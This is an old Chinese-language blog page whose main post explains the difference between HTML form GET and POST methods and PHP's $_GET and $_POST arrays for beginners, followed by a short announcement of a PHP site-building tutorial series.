HTML補充教室: 使用者傳入的表單為什麼要放入 $_POST 跟 $_GET 兩個不同的陣列阿?

由於 html 表單傳遞資料的時候分為兩種方法
1 GET 將資料於 url 中一併送出. 會於網址列顯示像是 http://url/xxx.php?欄位名稱=欄位值
2 POST 將資料於http request 時,於表頭中直接送出,所以該資料並不會以 http://url/xxx.php?欄位名稱=欄位值 的方式出現在瀏覽器的網址列

而表單設定的方式則是如下.
代碼:
<form method="get">

代碼:
<form method="post">


而什麼時候會用到 get ? 什麼時候又要用 post 呢?...

通常使用 post 都是在只能送出一次的資料,像是留言版的留言.會員的登入資料,或是註冊表等.

而 get 的使用通常是在可以重複,且是用來判斷目前所在位置的情況,像製作換頁功能的時候,用來帶入該頁數,或是像 phpbb2 利用 get 取得目前使用的功能與目前觀看的版面編號等.

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

新增分類:PHP網站建構

Posted on 2005-05-14 07:20:30 by

今天起新增一個分類,打算寫一系列的PHP網站建構的文章...

希望是從基本的網站架構跟class等的寫作來指導有一點點基礎的人從無到有建立起一個網站.


相關需要搭配的程式庫應該會有:ADODB,Smarty,FCKeditor 等..如果還看到什麼好東西當然也加進去....

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi